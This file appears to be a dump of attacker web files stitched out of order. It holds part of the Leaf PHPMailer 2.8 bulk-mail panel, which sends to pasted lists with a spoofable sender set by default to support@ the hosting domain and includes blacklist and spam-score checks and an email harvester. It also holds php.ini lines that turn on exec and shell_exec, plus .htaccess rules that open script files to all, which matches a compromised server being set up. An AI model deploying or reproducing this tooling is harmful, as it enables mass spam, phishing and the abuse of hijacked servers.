                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
                <li>[-randommd5-] : <b>Random MD5 </b></li>
            </ul>
            <h4>example</h4>
            Receiver Email = <b>user@domain.com</b><br>
            <ul>
                <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
                <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
                <li>your code is  <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
            </ul>

            <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
        </div>
    </div>';  
if($_POST['action']=="send"){
    print '    <div class="col-lg-12">';
    $maillist=explode("\r\n", $emailList);
    $n=count($maillist);
    $x =1;
    foreach ($maillist as $email ) {
        print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>';
        if(!leafMailCheck($email)) {
            print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
            print "<br>\r\n";
        }
        else {
            $mail = new PHPMailer;
            $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
            $mail->addReplyTo(leafClear($replyTo,$email));
            $mail->addAddress($email);
            $mail->Subject = leafClear($subject,$email);
            $mail->Body =  leafClear($messageLetter,$email);
            if($messageType==1){
                $mail->IsHTML(true);
                $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
            }
            else $mail->IsHTML(false);
            $mail->CharSet = $charset;
            $mail->Encoding = $encoding;
            for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
                if ($_FILES['attachment']['tmp_name'][$i] != ""){
                    $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
                }

            }
            
            if (!$mail->send()) {
                echo '<div class="col-lg-6"><span class="label label-default">'.htmlspecialchars($mail->ErrorInfo).'</span></div>';
            }
            else {
                echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
            }
            print "<br>\r\n";
        }
        $x++;
        for($k = 0; $k < 40000; $k++) {echo ' ';}
    }

}
elseif($_POST['action']=="score"){
    $mail = new PHPMailer;
    $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
    $mail->addReplyTo(leafClear($replyTo,$email));
    $mail->addAddress("username@domain.com");
    $mail->Subject = leafClear($subject,$email);
    $mail->Body =  leafClear($messageLetter,$email);
    if($messageType==1){
        $mail->IsHTML(true);
        $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
    }
    else $mail->IsHTML(false);
    $mail->CharSet = $charset;
    $mail->Encoding = $encoding;
    $mail->preSend();
    $messageHeaders=$mail->getSentMIMEMessage();
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter');
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    $response = curl_exec($ch);
    $response = json_decode($response);
    print '    <div class="col-lg-12">';
    if ($response->success == TRUE ){
        $score = $response->score;
        if ($score > 5 ) $class="danger";
        else $class="success";
            print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.'  </div>
<div>Full Report : <pre>'.$response->report.'</pre></div>';
print '    </div>';
    }
}
print '</body>';
?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>



Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php

$password = "kPFHpGKZcbT";

session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);

$leaf['version']="2.8";
$leaf['website']="leafmailer.pw";


$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
        $_SESSION[$sessioncode] = $password;
    }
    else {
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
        exit;        
    }
}

session_write_close();


function leafClear($text,$email){
	$e = explode('@', $email);
	$emailuser=$e[0];
	$emaildomain=$e[1];
    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
    $text = str_replace("[-email-]", $email, $text);
    $text = str_replace("[-emailuser-]", $emailuser, $text);
    $text = str_replace("[-emaildomain-]", $emaildomain, $text);
    $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
    $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
    $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
    $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
    return $text;  
}
function leafTrim($string){
	$string=urldecode($string);
    return stripslashes(trim($string));
}
function randString($consonants) {
    $length=rand(12,25);
    $password = '';
    for ($i = 0; $i < $length; $i++) {
            $password .= $consonants[(rand() % strlen($consonants))];
    }
    return $password;
}
function leafMailCheck($email){
    if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
    else return false;
}
# Bulit-in BlackList Checker 
if(isset($_GET['check_ip'])){
    if (isset($_GET['host'])){
        $_GET['host']=explode(",", $_GET['host']);
        foreach ($_GET['host'] as $host) {
            if (checkdnsrr($_GET['check_ip'] . "." .  $host . ".", "A")) $check= "<font color='red'> Listed</font>";
            else $check= "<font color='green'> Clean</font>";
            print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
        }

        exit;
    }
    $dnsbl_lookup = array(
        "all.s5h.net",
        "b.barracudacentral.org",
        "bl.spamcop.net",
        "blacklist.woody.ch",
        "bogons.cymru.com",
        "cbl.abuseat.org",
        "cdl.anti-spam.org.cn",
        "combined.abuse.ch",
        "db.wpbl.info",
        "dnsbl-1.uceprotect.net",
        "dnsbl-2.uceprotect.net",
        "dnsbl-3.uceprotect.net",
        "dnsbl.anticaptcha.net",
        "dnsbl.dronebl.org",
        "dnsbl.inps.de",
        "dnsbl.sorbs.net",
        "drone.abuse.ch",
        "duinv.aupads.org",
        "dul.dnsbl.sorbs.net",
        "dyna.spamrats.com",
        "dynip.rothen.com",
        "http.dnsbl.sorbs.net",
        "ips.backscatterer.org",
        "ix.dnsbl.manitu.net",
        "korea.services.net",
        "misc.dnsbl.sorbs.net",
        "noptr.spamrats.com",
        "orvedb.aupads.org",
        "pbl.spamhaus.org",
        "proxy.bl.gweep.ca",
        "psbl.surriel.com",
        "relays.bl.gweep.ca",
        "relays.nether.net",
        "sbl.spamhaus.org",
        "short.rbl.jp",
        "singular.ttk.pte.hu",
        "smtp.dnsbl.sorbs.net",
        "socks.dnsbl.sorbs.net",
        "spam.abuse.ch",
        "spam.dnsbl.anonmails.de",
        "spam.dnsbl.sorbs.net",
        "spam.spamrats.com",
        "spambot.bls.digibase.ca",
        "spamrbl.imp.ch",
        "spamsources.fabel.dk",
        "ubl.lashback.com",
        "ubl.unsubscore.com",
        "virus.rbl.jp",
        "web.dnsbl.sorbs.net",
        "wormrbl.imp.ch",
        "xbl.spamhaus.org",
        "z.mailspike.net",
        "zen.spamhaus.org",
        "zombie.dnsbl.sorbs.net",
    );
    $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
    $dnsT = count($dnsbl_lookup);
    leafheader();
    print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
    Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b>  anti-spam databases:<br>";
    $dnsN="";
    print '<table >';
    for ($i=0; $i < $dnsT; $i=$i+10) { 
        $host="";
        $hosts="";
        for($j=$i; $j<$i+10;$j++){
            $host=$dnsbl_lookup[$j];
            if(!empty($host)){
                print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
                $hosts .="$host,";
            }
        }
        $dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
    }

    print '</table></div>';
    print $dnsN;
    exit;
}
if(isset($_GET['emailfilter'])){

    if(!empty($_FILES['fileToUpload']['tmp_name'])){
        $_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]); 
    }
    $_POST['emailList']=strtolower($_POST['emailList']);
   if($_GET['emailfilter']=="ifram"){
        if ($_POST['resulttype'] == "download"){
            header("Content-Description: File Transfer"); 
            header("Content-Type: application/octet-stream"); 
            header("Content-Disposition: attachment; filename=emails".time().".txt");
        }
        else {
            header("Content-Type: text/plain");
        }
    if($_POST['submit']=="extract"){
        $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
        preg_match_all($pattern, $_POST['emailList'], $matches);
        foreach ($matches[0] as $email) {
            print $email."\n";
        }
    }
    elseif ($_POST['submit']=="filter") {
        $emails=explode("\n", $_POST['emailList']);
        $keywords=explode("\n", strtolower($_POST['keywords']));
        foreach ($emails as $email) {
            foreach ($keywords as $keyword ) {
                if(strstr($email, $keyword) ){
                    print $email."\n";
                     break;
                }
               
            }
        }

    }
    exit;
   }
   leafheader();
   print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
   print '
    <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
        <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> 
        or

        <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
      <div class="col-lg-12">
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="here" checked="">
            Show Result in this page
          </label>
        </div>
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="download">
            Download Result (for big numbers)
          </label>
        </div>
      </div>
            <legend><h4>Extract Email</h4></legend>
            Detecting every email (100%) and order them line by line <br><br>
        <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
            <legend><h4>Filter Emails</h4></legend>
        <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
hotmail.com
yahoo.com
.co.uk</textarea><br>

            <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
    </form>
    <label >Result </label>
    <iframe style="border:none;width:100%;" name="my-iframe"  src="?emailfilter=ifram" ></iframe>
   ';
   exit;

}
$html="checked";
$utf8="selected";
$bit8="selected";

if($_POST['action']=="send" or $_POST['action']=="score"){

    $senderEmail=leafTrim($_POST['senderEmail']);
    $senderName=leafTrim($_POST['senderName']);
    $replyTo=leafTrim($_POST['replyTo']);
    $subject=leafTrim($_POST['subject']);
    $emailList=leafTrim($_POST['emailList']);
    $messageType=leafTrim($_POST['messageType']);
    $messageLetter=leafTrim($_POST['messageLetter']);
    $encoding = $_POST['encode'];
    $charset = $_POST['charset'];
    $html="";
    $utf8="";
    $bit8="";

    if($messageType==2) $plain="checked";
    else $html="checked";

    if($charset=="ISO-8859-1") $iso="selected";
    else $utf8="selected";

    if($encoding=="7bit") $bit7="selected";
    elseif($encoding=="binary") $binary="selected";
    elseif($encoding=="base64") $base64="selected";
    elseif($encoding=="quoted-printable") $quotedprintable="selected";
    else $bit8="selected";



}
if($_POST['action']=="view"){
	$viewMessage=leafTrim($_POST['messageLetter']);
	$viewMessage=leafClear($viewMessage,"user@domain.com");
	if ($_POST['messageType']==2){
		print "<pre>".htmlspecialchars($viewMessage)."</pre>";
	}
	else {
		print $viewMessage;
	}
	exit;
}



if(!isset($_POST['senderEmail'])){
    $senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']);
    if (!leafMailCheck($senderEmail)) $senderEmail="";
}

class PHPMailer
{
    /**
     * The PHPMailer Version number.
     * @var string
     */
    public $Version = '5.2.28';

    /**
     * Email priority.
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
     * When null, the header is not set at all.
     * @var integer
     */
    public $Priority = null;

    /**
     * The character set of the message.
     * @var string
     */
    public $CharSet = 'iso-8859-1';

    /**
     * The MIME Content-type of the message.
     * @var string
     */
    public $ContentType = 'text/plain';

    /**
     * The message encoding.
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
     * @var string
     */
    public $Encoding = '8bit';

    /**
     * Holds the most recent mailer error message.
     * @var string
     */
    public $ErrorInfo = '';

    /**
     * The From email address for the message.
     * @var string
     */
    public $From = 'root@localhost';

    /**
     * The From name of the message.
     * @var string
     */
    public $FromName = 'Root User';

    /**
     * The Sender email (Return-Path) of the message.
     * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
     * @var string
     */
    public $Sender = '';

    /**
     * The Return-Path of the message.
     * If empty, it will be set to either From or Sender.
     * @var string
     * @deprecated Email senders should never set a return-path header;
     * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
     * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
     */
    public $ReturnPath = '';

    /**
     * The Subject of the message.
     * @var string
     */
    public $Subject = '';

    /**
     * An HTML or plain text message body.
     * If HTML then call isHTML(true).
     * @var string
     */
    public $Body = '';

    /**
     * The plain-text message body.
     * This body can be read by mail clients that do not have HTML email
     * capability such as mutt & Eudora.
     * Clients that can read HTML will view the normal Body.
     * @var string
     */
    public $AltBody = '';

    /**
     * An iCal message part body.
     * Only supported in simple alt or alt_inline message types
     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
     * @link http://kigkonsult.se/iCalcreator/
     * @var string
     */
    public $Ical = '';

    /**
     * The complete compiled MIME message body.
     * @access protected
     * @var string
     */
    protected $MIMEBody = '';

    /**
     * The complete compiled MIME message headers.
     * @var string
     * @access protected
     */
    protected $MIMEHeader = '';

    /**
     * Extra headers that createHeader() doesn't fold in.
     * @var string
     * @access protected
     */
    protected $mailHeader = '';

    /**
     * Word-wrap the message body to this number of chars.
     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
     * @var integer
     */
    public $WordWrap = 0;

    /**
     * Which method to use to send mail.
     * Options: "mail", "sendmail", or "smtp".
     * @var string
     */
    public $Mailer = 'mail';

    /**
     * The path to the sendmail program.
     * @var string
     */
    public $Sendmail = '/usr/sbin/sendmail';

    /**
     * Whether mail() uses a fully sendmail-compatible MTA.
     * One which supports sendmail's "-oi -f" options.
     * @var boolean
     */
    public $UseSendmailOptions = true;

    /**
     * Path to PHPMailer plugins.
     * Useful if the SMTP class is not in the PHP include path.
     * @var string
     * @deprecated Should not be needed now there is an autoloader.
     */
    public $PluginDir = '';

    /**
     * The email address that a reading confirmation should be sent to, also known as read receipt.
     * @var string
     */
    public $ConfirmReadingTo = '';

    /**
     * The hostname to use in the Message-ID header and as default HELO string.
     * If empty, PHPMailer attempts to find one with, in order,
     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
     * 'localhost.localdomain'.
     * @var string
     */
    public $Hostname = '';

    /**
     * An ID to be used in the Message-ID header.
     * If empty, a unique id will be generated.
     * You can set your own, but it must be in the format "<id@domain>",
     * as defined in RFC5322 section 3.6.4 or it will be ignored.
     * @see https://tools.ietf.org/html/rfc5322#section-3.6.4
     * @var string
     */
    public $MessageID = '';

    /**
     * The message Date to be used in the Date header.
     * If empty, the current date will be added.
     * @var string
     */
    public $MessageDate = '';

    /**
     * SMTP hosts.
     * Either a single hostname or multiple semicolon-delimited hostnames.
     * You can also specify a different port
     * for each host by using this format: [hostname:port]
     * (e.g. "smtp1.example.com:25;smtp2.example.com").
     * You can also specify encryption type, for example:
     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
     * Hosts will be tried in order.
     * @var string
     */
    public $Host = 'localhost';

    /**
     * The default SMTP server port.
     * @var integer
     * @TODO Why is this needed when the SMTP class takes care of it?
     */
    public $Port = 25;

    /**
     * The SMTP HELO of the message.
     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
     * one with the same method described above for $Hostname.
     * @var string
     * @see PHPMailer::$Hostname
     */
    public $Helo = '';

    /**
     * What kind of encryption to use on the SMTP connection.
     * Options: '', 'ssl' or 'tls'
     * @var string
     */
    public $SMTPSecure = '';

    /**
     * Whether to enable TLS encryption automatically if a server supports it,
     * even if `SMTPSecure` is not set to 'tls'.
     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
     * @var boolean
     */
    public $SMTPAutoTLS = true;

    /**
     * Whether to use SMTP authentication.
     * Uses the Username and Password properties.
     * @var boolean
     * @see PHPMailer::$Username
     * @see PHPMailer::$Password
     */
    public $SMTPAuth = false;

    /**
     * Options array passed to stream_context_create when connecting via SMTP.
     * @var array
     */
    public $SMTPOptions = array();

    /**
     * SMTP username.
     * @var string
     */
    public $Username = '';

    /**
     * SMTP password.
     * @var string
     */
    public $Password = '';

    /**
     * SMTP auth type.
     * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
     * @var string
     */
    public $AuthType = '';

    /**
     * SMTP realm.
     * Used for NTLM auth
     * @var string
     */
    public $Realm = '';

    /**
     * SMTP workstation.
     * Used for NTLM auth
     * @var string
     */
    public $Workstation = '';

    /**
     * The SMTP server timeout in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
     * @var integer
     */
    public $Timeout = 300;

    /**
     * SMTP class debug output mode.
     * Debug output level.
     * Options:
     * * `0` No output
     * * `1` Commands
     * * `2` Data and commands
     * * `3` As 2 plus connection status
     * * `4` Low-level data output
     * @var integer
     * @see SMTP::$do_debug
     */
    public $SMTPDebug = 0;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     *
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     * <code>
     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * </code>
     * @var string|callable
     * @see SMTP::$Debugoutput
     */
    public $Debugoutput = 'echo';

    /**
     * Whether to keep SMTP connection open after each message.
     * If this is set to true then to close the connection
     * requires an explicit call to smtpClose().
     * @var boolean
     */
    public $SMTPKeepAlive = false;

    /**
     * Whether to split multiple to addresses into multiple messages
     * or send them all in one message.
     * Only supported in `mail` and `sendmail` transports, not in SMTP.
     * @var boolean
     */
    public $SingleTo = false;

    /**
     * Storage for addresses when SingleTo is enabled.
     * @var array
     * @TODO This should really not be public
     */
    public $SingleToArray = array();

    /**
     * Whether to generate VERP addresses on send.
     * Only applicable when sending via SMTP.
     * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @link http://www.postfix.org/VERP_README.html Postfix VERP info
     * @var boolean
     */
    public $do_verp = false;

    /**
     * Whether to allow sending messages with an empty body.
     * @var boolean
     */
    public $AllowEmpty = false;

    /**
     * The default line ending.
     * @note The default remains "\n". We force CRLF where we know
     *        it must be used via self::CRLF.
     * @var string
     */
    public $LE = "\n";

    /**
     * DKIM selector.
     * @var string
     */
    public $DKIM_selector = '';

    /**
     * DKIM Identity.
     * Usually the email address used as the source of the email.
     * @var string
     */
    public $DKIM_identity = '';

    /**
     * DKIM passphrase.
     * Used if your key is encrypted.
     * @var string
     */
    public $DKIM_passphrase = '';

    /**
     * DKIM signing domain name.
     * @example 'example.com'
     * @var string
     */
    public $DKIM_domain = '';

    /**
     * DKIM private key file path.
     * @var string
     */
    public $DKIM_private = '';

    /**
     * DKIM private key string.
     * If set, takes precedence over `$DKIM_private`.
     * @var string
     */
    public $DKIM_private_string = '';

    /**
     * Callback Action function name.
     *
     * The function that handles the result of the send email action.
     * It is called out by send() for each email sent.
     *
     * Value can be any php callable: http://www.php.net/is_callable
     *
     * Parameters:
     *   boolean $result        result of the send action
     *   array   $to            email addresses of the recipients
     *   array   $cc            cc email addresses
     *   array   $bcc           bcc email addresses
     *   string  $subject       the subject
     *   string  $body          the email body
     *   string  $from          email address of sender
     * @var string
     */
    public $action_function = '';

    /**
     * What to put in the X-Mailer header.
     * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
     * @var string
     */
    public $XMailer = ' ';

    /**
     * Which validator to use by default when validating email addresses.
     * May be a callable to inject your own validator, but there are several built-in validators.
     * @see PHPMailer::validateAddress()
     * @var string|callable
     * @static
     */
    public static $validator = 'auto';

    /**
     * An instance of the SMTP sender class.
     * @var SMTP
     * @access protected
     */
    protected $smtp = null;

    /**
     * The array of 'to' names and addresses.
     * @var array
     * @access protected
     */
    protected $to = array();

    /**
     * The array of 'cc' names and addresses.
     * @var array
     * @access protected
     */
    protected $cc = array();

    /**
     * The array of 'bcc' names and addresses.
     * @var array
     * @access protected
     */
    protected $bcc = array();

    /**
     * The array of reply-to names and addresses.
     * @var array
     * @access protected
     */
    protected $ReplyTo = array();

    /**
     * An array of all kinds of addresses.
     * Includes all of $to, $cc, $bcc
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     */
    protected $all_recipients = array();

    /**
     * An array of names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $all_recipients
     * and one of $to, $cc, or $bcc.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     * @see PHPMailer::$all_recipients
     */
    protected $RecipientsQueue = array();

    /**
     * An array of reply-to names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $ReplyTo.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$ReplyTo
     */
    protected $ReplyToQueue = array();

    /**
     * The array of attachments.
     * @var array
     * @access protected
     */
    protected $attachment = array();

    /**
     * The array of custom headers.
     * @var array
     * @access protected
     */
    protected $CustomHeader = array();

    /**
     * The most recent Message-ID (including angular brackets).
     * @var string
     * @access protected
     */
    protected $lastMessageID = '';

    /**
     * The message's MIME type.
     * @var string
     * @access protected
     */
    protected $message_type = '';

    /**
     * The array of MIME boundary strings.
     * @var array
     * @access protected
     */
    protected $boundary = array();

    /**
     * The array of available languages.
     * @var array
     * @access protected
     */
    protected $language = array();

    /**
     * The number of errors encountered.
     * @var integer
     * @access protected
     */
    protected $error_count = 0;

    /**
     * The S/MIME certificate file path.
     * @var string
     * @access protected
     */
    protected $sign_cert_file = '';

    /**
     * The S/MIME key file path.
     * @var string
     * @access protected
     */
    protected $sign_key_file = '';

    /**
     * The optional S/MIME extra certificates ("CA Chain") file path.
     * @var string
     * @access protected
     */
    protected $sign_extracerts_file = '';

    /**
     * The S/MIME password for the key.
     * Used only if the key is encrypted.
     * @var string
     * @access protected
     */
    protected $sign_key_pass = '';

    /**
     * Whether to throw exceptions for errors.
     * @var boolean
     * @access protected
     */
    protected $exceptions = false;

    /**
     * Unique ID used for message ID and boundaries.
     * @var string
     * @access protected
     */
    protected $uniqueid = '';

    /**
     * Error severity: message only, continue processing.
     */
    const STOP_MESSAGE = 0;

    /**
     * Error severity: message, likely ok to continue processing.
     */
    const STOP_CONTINUE = 1;

    /**
     * Error severity: message, plus full stop, critical error reached.
     */
    const STOP_CRITICAL = 2;

    /**
     * SMTP RFC standard line ending.
     */
    const CRLF = "\r\n";

    /**
     * The maximum line length allowed by RFC 2822 section 2.1.1
     * @var integer
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * Constructor.
     * @param boolean $exceptions Should we throw external exceptions?
     */
    public function __construct($exceptions = null)
    {
        if ($exceptions !== null) {
            $this->exceptions = (boolean)$exceptions;
        }
        //Pick an appropriate debug output format automatically
        $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        //Close any open SMTP connection nicely
        $this->smtpClose();
    }

    /**
     * Call mail() in a safe_mode-aware fashion.
     * Also, unless sendmail_path points to sendmail (or something that
     * claims to be sendmail), don't pass params (not a perfect fix,
     * but it will do)
     * @param string $to To
     * @param string $subject Subject
     * @param string $body Message Body
     * @param string $header Additional Header(s)
     * @param string $params Params
     * @access private
     * @return boolean
     */
    private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if (ini_get('mbstring.func_overload') & 1) {
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }

        //Can't use additional_parameters in safe_mode, calling mail() with null params breaks
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }
        return $result;
    }
    /**
     * Output debugging info via user-defined method.
     * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
     * @see PHPMailer::$Debugoutput
     * @see PHPMailer::$SMTPDebug
     * @param string $str
     */
    protected function edebug($str)
    {
        if ($this->SMTPDebug <= 0) {
            return;
        }
        //Avoid clash with built-in function names
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                //Don't output, just log
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                )
                . "<br>\n";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/\r\n?/ms', "\n", $str);
                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
                    "\n",
                    "\n                   \t                  ",
                    trim($str)
                ) . "\n";
        }
    }

    /**
     * Send messages using SMTP.
     * @return void
     */
    public function isSMTP()
    {
        $this->Mailer = 'smtp';
    }

    /**
     * Send messages using PHP's mail() function.
     * @return void
     */
    public function isMail()
    {
        $this->Mailer = 'mail';
    }

    /**
     * Send messages using $Sendmail.
     * @return void
     */
    public function isSendmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'sendmail')) {
            $this->Sendmail = '/usr/sbin/sendmail';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'sendmail';
    }

    /**
     * Send messages using qmail.
     * @return void
     */
    public function isQmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'qmail')) {
            $this->Sendmail = '/var/qmail/bin/qmail-inject';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'qmail';
    }

    /**
     * Add a "To" address.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addAddress($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('to', $address, $name);
    }

    /**
     * Add a "CC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('cc', $address, $name);
    }

    /**
     * Add a "BCC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addBCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('bcc', $address, $name);
    }

    /**
     * Add a "Reply-To" address.
     * @param string $address The email address to reply to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addReplyTo($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
     * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
     * be modified after calling this function), addition of such addresses is delayed until send().
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addOrEnqueueAnAddress($kind, $address, $name)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        if (($pos = strrpos($address, '@')) === false) {
            // At-sign is misssing.
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $params = array($kind, $address, $name);
        // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
        if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
            if ($kind != 'Reply-To') {
                if (!array_key_exists($address, $this->RecipientsQueue)) {
                    $this->RecipientsQueue[$address] = $params;
                    return true;
                }
            } else {
                if (!array_key_exists($address, $this->ReplyToQueue)) {
                    $this->ReplyToQueue[$address] = $params;
                    return true;
                }
            }
            return false;
        }
